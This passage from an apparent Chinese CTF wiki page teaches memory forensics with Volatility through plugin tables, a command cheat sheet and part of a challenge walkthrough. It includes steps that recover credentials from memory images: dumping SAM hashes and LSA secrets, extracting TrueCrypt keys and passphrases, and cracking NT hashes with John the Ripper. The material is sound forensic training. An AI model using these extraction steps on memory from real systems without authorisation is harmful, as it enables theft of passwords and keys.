align="left">hivelist</td><td align="left">打印注册表配置单元列表</td></tr><tr><td align="left">hivescan</td><td align="left">注册表配置单元池扫描</td></tr><tr><td align="left">hpakextract</td><td align="left">从HPAK文件(Fast Dump格式)提取物理内存数据</td></tr><tr><td align="left">hpakinfo</td><td align="left">查看HPAK文件属性及相关信息</td></tr><tr><td align="left">idt</td><td align="left">显示中断描述符表(Interrupt Deor Table)</td></tr><tr><td align="left">iehistory</td><td align="left">重建IE缓存及访问历史记录</td></tr><tr><td align="left">imagecopy</td><td align="left">将物理地址空间导出原生DD镜像文件</td></tr><tr><td align="left">imageinfo</td><td align="left">查看/识别镜像信息</td></tr><tr><td align="left">impscan</td><td align="left">扫描对导入函数的调用</td></tr><tr><td align="left">joblinks</td><td align="left">打印进程任务链接信息</td></tr><tr><td align="left">kdbgscan</td><td align="left">搜索和转储潜在KDBG值</td></tr><tr><td align="left">kpcrscan</td><td align="left">搜索和转储潜在KPCR值</td></tr><tr><td align="left">ldrmodules</td><td align="left">检测未链接的动态链接DLL</td></tr><tr><td align="left">lsadump</td><td align="left">从注册表中提取LSA密钥信息(已解密)</td></tr><tr><td align="left">machoinfo</td><td align="left">转储Mach-O 文件格式信息</td></tr><tr><td align="left">malfind</td><td align="left">查找隐藏的和插入的代码</td></tr><tr><td align="left">mbrparser</td><td align="left">扫描并解析潜在的主引导记录(MBR)</td></tr><tr><td align="left">memdump</td><td align="left">转储进程的可寻址内存</td></tr><tr><td align="left">memmap</td><td align="left">打印内存映射</td></tr><tr><td align="left">messagehooks</td><td align="left">桌面和窗口消息钩子的线程列表</td></tr><tr><td align="left">mftparser</td><td align="left">扫描并解析潜在的MFT条目</td></tr><tr><td align="left">moddump</td><td align="left">转储内核驱动程序到可执行文件的示例</td></tr><tr><td align="left">modscan</td><td align="left">内核模块池扫描</td></tr><tr><td align="left">modules</td><td align="left">打印加载模块的列表</td></tr><tr><td align="left">multiscan</td><td align="left">批量扫描各种对象</td></tr><tr><td align="left">mutantscan</td><td align="left">对互斥对象池扫描</td></tr><tr><td align="left">notepad</td><td align="left">查看记事本当前显示的文本</td></tr><tr><td align="left">objtypescan</td><td align="left">扫描窗口对象类型对象</td></tr><tr><td align="left">patcher</td><td align="left">基于页面扫描的补丁程序内存</td></tr><tr><td align="left">poolpeek</td><td align="left">可配置的池扫描器插件</td></tr><tr><td align="left">printkey</td><td align="left">打印注册表项及其子项和值</td></tr><tr><td align="left">privs</td><td align="left">显示进程权限</td></tr><tr><td align="left">procdump</td><td align="left">进程转储到一个可执行文件示例</td></tr><tr><td align="left">pslist</td><td align="left">按照EPROCESS列表打印所有正在运行的进程</td></tr><tr><td align="left">psscan</td><td align="left">进程对象池扫描</td></tr><tr><td align="left">pstree</td><td align="left">以树型方式打印进程列表</td></tr><tr><td align="left">psxview</td><td align="left">查找带有隐藏进程的所有进程列表</td></tr><tr><td align="left">qemuinfo</td><td align="left">转储Qemu 信息</td></tr><tr><td align="left">raw2dmp</td><td align="left">将物理内存原生数据转换为windbg崩溃转储格式</td></tr><tr><td align="left">screenshot</td><td align="left">基于GDI Windows的虚拟屏幕截图保存</td></tr><tr><td align="left">servicediff</td><td align="left">Windows服务列表(ala Plugx)</td></tr><tr><td align="left">sessions</td><td align="left">_MM_SESSION_SPACE的详细信息列表(用户登录会话)</td></tr><tr><td align="left">shellbags</td><td align="left">打印Shellbags信息</td></tr><tr><td align="left">shimcache</td><td align="left">解析应用程序兼容性Shim缓存注册表项</td></tr><tr><td align="left">shutdowntime</td><td align="left">从内存中的注册表信息获取机器关机时间</td></tr><tr><td align="left">sockets</td><td align="left">打印已打开套接字列表</td></tr><tr><td align="left">sockscan</td><td align="left">TCP套接字对象池扫描</td></tr><tr><td align="left">ssdt</td><td align="left">显示SSDT条目</td></tr><tr><td align="left">strings</td><td align="left">物理到虚拟地址的偏移匹配(需要一些时间,带详细信息)</td></tr><tr><td align="left">svcscan</td><td align="left">Windows服务列表扫描</td></tr><tr><td align="left">symlinkscan</td><td align="left">符号链接对象池扫描</td></tr><tr><td align="left">thrdscan</td><td align="left">线程对象池扫描</td></tr><tr><td align="left">threads</td><td align="left">调查_ETHREAD 和_KTHREADs</td></tr><tr><td align="left">timeliner</td><td align="left">创建内存中的各种痕迹信息的时间线</td></tr><tr><td align="left">timers</td><td align="left">打印内核计时器及关联模块的DPC</td></tr><tr><td align="left">truecryptmaster</td><td align="left">恢复TrueCrypt 7.1a主密钥</td></tr><tr><td align="left">truecryptpassphrase</td><td align="left">查找并提取TrueCrypt密码</td></tr><tr><td align="left">truecryptsummary</td><td align="left">TrueCrypt摘要信息</td></tr><tr><td align="left">unloadedmodules</td><td align="left">打印卸载的模块信息列表</td></tr><tr><td align="left">userassist</td><td align="left">打印注册表中UserAssist相关信息</td></tr><tr><td align="left">userhandles</td><td align="left">转储用户句柄表</td></tr><tr><td align="left">vaddump</td><td align="left">转储VAD数据为文件</td></tr><tr><td align="left">vadinfo</td><td align="left">转储VAD信息</td></tr><tr><td align="left">vadtree</td><td align="left">以树形方式显示VAD树信息</td></tr><tr><td align="left">vadwalk</td><td align="left">显示遍历VAD树</td></tr><tr><td align="left">vboxinfo</td><td align="left">转储Virtualbox信息(虚拟机)</td></tr><tr><td align="left">verinfo</td><td align="left">打印PE镜像中的版本信息</td></tr><tr><td align="left">vmwareinfo</td><td align="left">转储VMware VMSS/VMSN 信息</td></tr><tr><td align="left">volshell</td><td align="left">内存镜像中的shell</td></tr><tr><td align="left">windows</td><td align="left">打印桌面窗口(详细信息)</td></tr><tr><td align="left">wintree</td><td align="left">Z顺序打印桌面窗口树</td></tr><tr><td align="left">wndscan</td><td align="left">池扫描窗口站</td></tr><tr><td align="left">yarascan</td><td align="left">以Yara签名扫描进程或内核内存</td></tr></tbody></table><h3 id="常用命令"><a href="#常用命令" class="headerlink" title="常用命令#"></a>常用命令<a href="https://wiki.wgpsec.org/knowledge/ctf/Volatility.html#%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4">#</a></h3><table><thead><tr><th align="left">功能</th><th align="left">命令行及参数</th></tr></thead><tbody><tr><td align="left">查看进程列表</td><td align="left">Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 pslist</td></tr><tr><td align="left">查看进程列表(树形)</td><td align="left">Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 pstree</td></tr><tr><td align="left">查看进程列表(psx视图)</td><td align="left">Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 psxview</td></tr><tr><td align="left">查看网络通讯连接</td><td align="left">Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 netscan</td></tr><tr><td align="left">查看加载的动态链接库</td><td align="left">Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 dlllist</td></tr><tr><td align="left">查看SSDT表</td><td align="left">Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 ssdt</td></tr><tr><td align="left">查看UserAssist痕迹</td><td align="left">Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 userassist</td></tr><tr><td align="left">查看ShimCache痕迹</td><td align="left">Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 shimcache</td></tr><tr><td align="left">查看ShellBags</td><td align="left">Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 shellbags</td></tr><tr><td align="left">查看服务列表</td><td align="left">Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 svcscan</td></tr><tr><td align="left">查看Windows帐户hash</td><td align="left">Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 hashdump</td></tr><tr><td align="left">查看最后关机时间</td><td align="left">Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 shutdowntime</td></tr><tr><td align="left">查看IE历史记录</td><td align="left">Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 iehistory</td></tr><tr><td align="left">提取注册表数据</td><td align="left">Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 dumpregistry</td></tr><tr><td align="left">解析MFT记录</td><td align="left">Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 mftparser</td></tr><tr><td align="left">导出MFT记录,恢复文件</td><td align="left">Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 mftparser –output-file=mftverbose.txt -D mftoutput</td></tr><tr><td align="left">获取TrueCrypt密钥信息</td><td align="left">Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 truecryptmaster</td></tr><tr><td align="left">获取TrueCrypt密码信息</td><td align="left">Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 truecryptpassphras</td></tr></tbody></table><h2 id="参考文章"><a href="#参考文章" class="headerlink" title="参考文章#"></a>参考文章<a href="https://wiki.wgpsec.org/knowledge/ctf/Volatility.html#%E5%8F%82%E8%80%83%E6%96%87%E7%AB%A0">#</a></h2><h2 id=""><a href="#" class="headerlink" title=""></a></h2><p>Volatility入门指令篇:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">volatility -f name imageinfo</span><br><span class="line">volatility -f name pslist --profile=WinXPSP2x86 </span><br><span class="line">列举进程:</span><br><span class="line">volatility -f name --profile=Win7SP1x64 volshell</span><br><span class="line">dt("_PEB") </span><br><span class="line">查看进程环境块境块</span><br></pre></td></tr></table></figure><p><strong>hivedump打印出注册表中的数据 :</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">volatility -f name --profile=Win7SP1x64 hivelist</span><br><span class="line">列举缓存在内存的注册表</span><br><span class="line">volatility -f name --profile=WinXPSP2x86 hivedump -o 注册表的 virtual 地址</span><br><span class="line">volatility -f windows.vmem --profile=Win7SP1x64 dumpregistry -o 注册表的 virtual 地址-D .</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong>显示每个进程的加载dll列表</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Volatility -f name -profile = Win7SP0x86 dlllist> dlllist.txt</span><br></pre></td></tr></table></figure><p><strong>获取SAM表中的用户:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">volatility -f name --profile=WinXPSP2x86 printkey -K "SAM\Domains\Account\Users\Names"</span><br></pre></td></tr></table></figure><p><strong>登陆账户系统</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">volatility -f name --profile=WinXPSP2x86 printkey -K "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"</span><br></pre></td></tr></table></figure><p><strong>userassist键值包含系统或桌面执行文件的信息,如名称、路径、执行次数、最后一次执行时间等</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">volatility -f name --profile=WinXPSP2x86 userassist</span><br></pre></td></tr></table></figure><p><strong>将内存中的某个进程数据以 dmp 的格式保存出来</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">volatility -f name --profile=WinXPSP2x86 -p [PID] -D [dump 出的文件保存的目录]</span><br></pre></td></tr></table></figure><p><strong>提取内存中保留的 cmd 命令使用情况</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">volatility -f name --profile=WinXPSP2x86 cmdscan</span><br></pre></td></tr></table></figure><p><strong>获取到当时的网络连接情况</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">volatility -f name --profile=WinXPSP2x86 netscan</span><br></pre></td></tr></table></figure><p>获取 IE 浏览器的使用情况 :</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">volatility -f name --profile=WinXPSP2x86 iehistory</span><br></pre></td></tr></table></figure><p><strong>获取内存中的系统密码,可以使用 hashdump 将它提取出来</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">volatility -f name --profile=WinXPSP2x86 hashdump -y (注册表 system 的 virtual 地址 )-s (SAM 的 virtual 地址)</span><br><span class="line">volatility -f WIN-BU6IJ7FI9RU-20190927-152050.raw--profile=Win7SP1x86_23418 hashdump -y 0x93fb7440 -s 0x93fc41e8 </span><br><span class="line">0x93fc41e8 0x030cf1e8 \SystemRoot\System32\Config\SAM</span><br><span class="line"></span><br><span class="line">volatility -f name --profile=WinXPSP2x86 hashdump -y 0xe1035b60 -s 0xe16aab60</span><br><span class="line">volatility -f name --profile=WinXPSP2x86 timeliner</span><br></pre></td></tr></table></figure><p><strong>对文件查找及dumo提取某个进程:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">volatility -f name --profile=Win7SP1x64 memdump -D . -p 2872</span><br><span class="line">strings -e l ./2872.dmp | grep flag</span><br><span class="line">volatility attachment.vmem -f Win7SP1x64--profile=Win7SP0x64 dumpfiles -Q 0xfffffa8002ffe550 -n --dump-dir=./</span><br></pre></td></tr></table></figure><p>0xfffffa8002f8f7c0 1148 0xc 0x100020 File \Device\HarddiskVolume1\Windows\System32<br>0xfffffa8002f9adf0 1148 0xd4 0x100001 File \Device\KsecDD</p><p>0xfffffa80032e6e90 1148 0x16c 0x100080 File \Device\Nsi</p><p>0xfffffa80032e3f20 1148 0x1c0 0x120089 File \Device\HarddiskVolume1\Windows\Registration\R000000000006.clb</p><p>0xfffffa80032e9f20 1148 0x1e8 0x12019f File \Device\00000040</p><p>0xfffffa80032f4970 1148 0x2d8 0x120089 File \Device\HarddiskVolume1\Windows\System32\zh-CN\KernelBase.dll.mui</p><p>0xfffffa8003429c80 1148 0x3f8 0x16019f File \Device\Afd\Endpoint</p><p>0xfffffa8002ffe550 1148 0x4dc 0x12019f File \Device\NamedPipe\wkssvc</p><p><strong>HASH匹配用户账户名密码:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Hash, 然后使用john filename --format=NT破解</span><br></pre></td></tr></table></figure><p><strong>安全进程扫描</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">volatility -f name --profile=Win7SP1x64 psscan</span><br></pre></td></tr></table></figure><p><strong>Flag字符串扫描:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">strings -e l 2616.dmp | grep flag</span><br></pre></td></tr></table></figure><p><strong>查找图片:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">volatility -f name--profile=Win7SP1x64 filescan | grep -E 'jpg|png|jpeg|bmp|gif</span><br><span class="line">volatility -f name --profile=Win7SP1x64 netscan</span><br></pre></td></tr></table></figure><p><strong>注册表解析</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">volatility -f name --profile=Win7SP1x64hivelist</span><br><span class="line">volatility -f name --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K "ControlSet001\Control;"</span><br><span class="line">hivedump打印出注册表中的数据 :</span><br><span class="line">volatility -f name --profile=WinXPSP2x86 hivedump -o 注册表的 virtual 地址</span><br></pre></td></tr></table></figure><p><strong>复制、剪切版:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">volatility -f name --profile=Win7SP1x64 clipboard</span><br><span class="line">volatility -f name --profile=Win7SP1x64 dlllist -p 3820</span><br></pre></td></tr></table></figure><p><strong>Dump所有进程:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">volatility -f name --profile=Win7SP1x64 memdump -n chrome -D .</span><br><span class="line">利用字符串查找download</span><br><span class="line">python vol.py -f name --profile=Win7SP1x86 shimcache</span><br></pre></td></tr></table></figure><p><strong>svcscan查看服务</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python vol.py -f name --profile=Win7SP1x86 svcscan</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">modules 查看内核驱动</span><br><span class="line">modscan、driverscan 可查看一些隐藏的内核驱动</span><br><span class="line">ShimCache来识别应用程序兼容性问题。跟踪文件路径,大小,最后修改时间和最后“执行”时间.</span><br></pre></td></tr></table></figure><p>volatility -f memory–profile=WinXPSP2x86 dumpfiles -Q 0x00000000053e9658 –dump-dir=./</p><p>mftparser:扫描内存中潜在的主文件表(MFT)条目(使用“FILE”和“BAAD”签名),并打印出当前某些属性的信息:$ FILE_NAME($ FN),$ STANDARD_INFORMATION($ SI),$FN和$SI属性来自$ATTRIBUTE_LIST,$OBJECT_ID(仅限默认输出)和常驻$DATA</p><h2 id="参考文章-1"><a href="#参考文章-1" class="headerlink" title="参考文章#"></a>参考文章<a href="https://wiki.wgpsec.org/knowledge/ctf/Volatility.html#%E5%8F%82%E8%80%83%E6%96%87%E7%AB%A0">#</a></h2><p><a href="http://www.secist.com/archives/2076.html">DumpIt.exe 进程(opens new window)</a></p><p><a href="https://www.freebuf.com/articles/system/26763.html">Volatility基本介绍(opens new window)</a></p><p><a href="https://www.cnblogs.com/sesefadou/p/11804566.html">基本命令(opens new window)</a></p><p><a href="https://blog.csdn.net/Kevinhanser/article/details/80013033?utm_source=blogxgwz5">组合命令(opens new window)</a></p><p><a href="https://www.cnblogs.com/0x4D75/p/11161822.html">进阶命令(opens new window)</a></p><p><a href="https://cloud.tencent.com/developer/article/1378638">基础题型和基本取证(opens new window)</a></p><p><a href="https://www.freebuf.com/sectool/124690.html">利用Volatility进行Windows内存取证分析(opens new window)</a></p><p><a href="https://www.sohu.com/a/350272484_100124117">windows取证(opens new window)</a></p><p><a href="https://blog.csdn.net/cqupt_chen/article/details/7771417">内存取证(opens new window)</a></p><h2 id="从题目学习Volatility取证"><a href="#从题目学习Volatility取证" class="headerlink" title="从题目学习Volatility取证#"></a>从题目学习Volatility取证<a href="https://wiki.wgpsec.org/knowledge/ctf/Volatility.html#%E4%BB%8E%E9%A2%98%E7%9B%AE%E5%AD%A6%E4%B9%A0volatility%E5%8F%96%E8%AF%81">#</a></h2><h3 id="四川省高校CTF大赛-安恒杯-Play-with-Cookie"><a href="#四川省高校CTF大赛-安恒杯-Play-with-Cookie" class="headerlink" title="四川省高校CTF大赛[安恒杯] - Play with Cookie#"></a>四川省高校CTF大赛[安恒杯] - Play with Cookie<a href="https://wiki.wgpsec.org/knowledge/ctf/Volatility.html#%E5%9B%9B%E5%B7%9D%E7%9C%81%E9%AB%98%E6%A0%A1ctf%E5%A4%A7%E8%B5%9B-%E5%AE%89%E6%81%92%E6%9D%AF-play-with-cookie">#</a></h3><p>文件描述:得到了master key file 的和靶机镜像文件,需要找到里面的flag</p><h4 id="了解基本架构"><a href="#了解基本架构" class="headerlink" title="了解基本架构#"></a>了解基本架构<a href="https://wiki.wgpsec.org/knowledge/ctf/Volatility.html#%E4%BA%86%E8%A7%A3%E5%9F%BA%E6%9C%AC%E6%9E%B6%E6%9E%84">#</a></h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo volatility -f Cookie.raw imageinfo</span><br></pre></td></tr></table></figure><p>得到的关键信息</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Win7SP1x86</span><br><span class="line">mage date and time : 2020-02-11 12:11:51 UTC+0000</span><br></pre></td></tr></table></figure><p>关键看Suggested Profile(s)项,这里是工具判断该镜像的架构,同时也会提供相应架构的命令用于分析该镜像,本题中可能性最大的架构是Win7SP1x86,然后在调用命令时加上–profile=Win7SP1x86就可以了</p><h4 id="敏感信息获取"><a href="#敏感信息获取" class="headerlink" title="敏感信息获取#"></a>敏感信息获取<a href="https://wiki.wgpsec.org/knowledge/ctf/Volatility.html#%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E8%8E%B7%E5%8F%96">#</a></h4><p><code>获取所有使用的进程号的信息</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo volatility -f Cookie.raw --profile=Win7SP1x86 pslist > pslist.txt </span><br></pre></td></tr></table></figure><p><code>查看一下是否含有flag文件</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">volatility -f Cookie.raw --profile=Win7SP1x86 filescan | grep "doc|docx|rtf"</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">volatility -f Cookie.raw --profile=Win7SP1x86 filescan | grep "jpg|jpeg|png|tif|gif|bmp"</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">volatility -f Cookie.raw --profile=Win7SP1x86 filescan | grep 'flag|ctf'</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">volatility -f Cookie.raw --profile=Win7SP1x86 filescan | grep "Desktop"</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">C:\home\kali\桌面> volatility -f Cookie.raw --profile=Win7SP1x86 filescan | grep "Desktop"</span><br><span class="line">Volatility Foundation Volatility Framework 2.6</span><br><span class="line">0x000000003e423038 1 0 R--rwd \Device\HarddiskVolume1\Users\Cookie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini</span><br><span class="line">0x000000003e486038 1 0 R--rwd \Device\HarddiskVolume1\Users\Cookie\Desktop\desktop.ini</span><br><span class="line">0x000000003e4ebb08 1 0 R--rwd \Device\HarddiskVolume1\Users\Public\Desktop\desktop.ini</span><br><span class="line">0x000000003e51c3a0 1 0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini</span><br><span class="line">0x000000003e5789e0 1 1 R--rw- \Device\HarddiskVolume1\Users\Cookie\Desktop</span><br><span class="line">0x000000003e5f1668 2 1 R--rwd \Device\HarddiskVolume1\Users\Cookie\Desktop</span><br><span class="line">0x000000003e628400 1 0 R--rwd \Device\HarddiskVolume1\Users\root\AppData\Roaming\Microsoft\Windows\SendTo\Desktop.ini</span><br><span class="line">0x000000003e663160 1 0 R--rwd \Device\HarddiskVolume1\Windows\assembly\Desktop.ini</span><br><span class="line">0x000000003e66a228 1 1 RW-rw- \Device\HarddiskVolume1\Users\Cookie\Desktop\WIN-I0396FOVLRF-20200211-121148.raw</span><br><span class="line">0x000000003e671d28 8 0 R--r-d \Device\HarddiskVolume1\Users\Cookie\Desktop\DumpIt.exe</span><br><span class="line">0x000000003e69ef80 1 0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini</span><br><span class="line">0x000000003e6a9d28 2 1 R--rwd \Device\HarddiskVolume1\Users\Public\Desktop</span><br><span class="line">0x000000003e6aacb8 1 0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini</span><br><span class="line">0x000000003e6ff950 8 0 R--r-d \Device\HarddiskVolume1\Users\Cookie\Desktop\DumpIt.exe</span><br><span class="line">0x000000003e70d308 1 0 R--rwd \Device\HarddiskVolume1\Windows\Media\Desktop.ini</span><br><span class="line">0x000000003e73af80 1 0 R--rwd \Device\HarddiskVolume1\Users\Cookie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini</span><br><span class="line">0x000000003e90e718 1 0 R--rwd \Device\HarddiskVolume1\Users\Cookie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini</span><br><span class="line">0x000000003e919910 1 0 R--rwd \Device\HarddiskVolume1\Users\Cookie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini</span><br><span class="line">0x000000003e93f578 1 0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\Desktop.ini</span><br><span class="line">0x000000003e95bc98 1 0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini</span><br><span class="line">0x000000003eb33bc8 2 1 R--rwd \Device\HarddiskVolume1\Users\Cookie\Desktop</span><br><span class="line">0x000000003f3f55c0 2 1 R--rwd \Device\HarddiskVolume1\Users\Public\Desktop</span><br><span class="line">0x000000003f9871d8 1 0 R--rwd \Device\HarddiskVolume1\Users\root\Desktop\desktop.ini</span><br><span class="line">0x000000003fca7630 1 0 R--rwd \Device\HarddiskVolume1\Users\Cookie\AppData\Roaming\Microsoft\Windows\SendTo\Desktop.ini</span><br></pre></td></tr></table></figure><p>这是查看raw文件中的桌面文件,没有得到有用的信息,只得知了是Cookie用户</p><p><code>查看一下他的电脑截图</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">volatility -f Cookie.rwa --profile=Win7SP1x86 screenshot --dump-dir=./</span><br></pre></td></tr></table></figure><p>只得到了一个页面信息,提示正在使用的进程是DUMpit.exe</p><p><code>看一下用户信息</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">volatility -f Cookie.raw --profile=Win7SP1x86 printkey -K "SAM\Domains\Account\Users\Names"</span><br></pre></td></tr></table></figure><p>只有基本的几个用户</p><p><code>看一下他的命令行输出了什么</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">volatility -f Cookie.raw --profile=Win7SP1x86 cmdline</span><br></pre></td></tr></table></figure><p>可以看到一些cmd信息和进程号</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span 